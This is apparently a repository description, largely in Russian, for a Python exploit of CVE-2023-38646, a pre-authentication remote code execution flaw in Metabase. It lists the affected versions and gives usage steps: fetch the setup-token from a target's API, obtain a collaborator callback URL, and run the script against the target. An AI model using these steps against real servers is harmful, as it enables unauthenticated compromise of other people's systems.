kh4sh3i/cve-2023-38646Python-эксплойт для удаленного выполнения кода в Metabase до аутентификации (CVE-2023-38646) с извлечением setup-token и collaborator callback для компрометации сервера без аутентификации.
Metabase — это инструмент бизнес-аналитики с открытым исходным кодом, который позволяет создавать диаграммы и информационные панели, используя данные из различных баз данных и источников. Это популярный проект, набравший более 33 000 звёзд на GitHub, который за последние несколько лет подвергался серьёзному анализу с точки зрения исследования уязвимостей.
Metabase open source до версии 0.46.6.1 и Metabase Enterprise до версии 1.46.6.1 позволяют злоумышленникам выполнять произвольные команды на сервере с уровнем привилегий сервера. Для эксплуатации аутентификация не требуется. Другие исправленные версии: 0.45.4.1, 1.45.4.1, 0.44.7.1, 1.44.7.1, 0.43.7.2 и 1.43.7.2.
* go to : http://target.com/api/session/properties
* copy : setup-token
* get collaborator url
python3 CVE-2023-38646.py -u <target> -t <setup-token> -c <collaborator-url>
Metabase Enterprise 1.46 < 1.46.6.1
Metabase Enterprise 1.45 < 1.45.4.1
Metabase Enterprise 1.44 < 1.44.7.1
Metabase Enterprise 1.43 < 1.43.7.2
Metabase open source 0.46 < 0.46.6.1
Metabase open source 0.45 < v0.45.4.1
Metabase open source 0.44 < 0.44.7.1
Metabase open source 0.43 < 0.43.7.2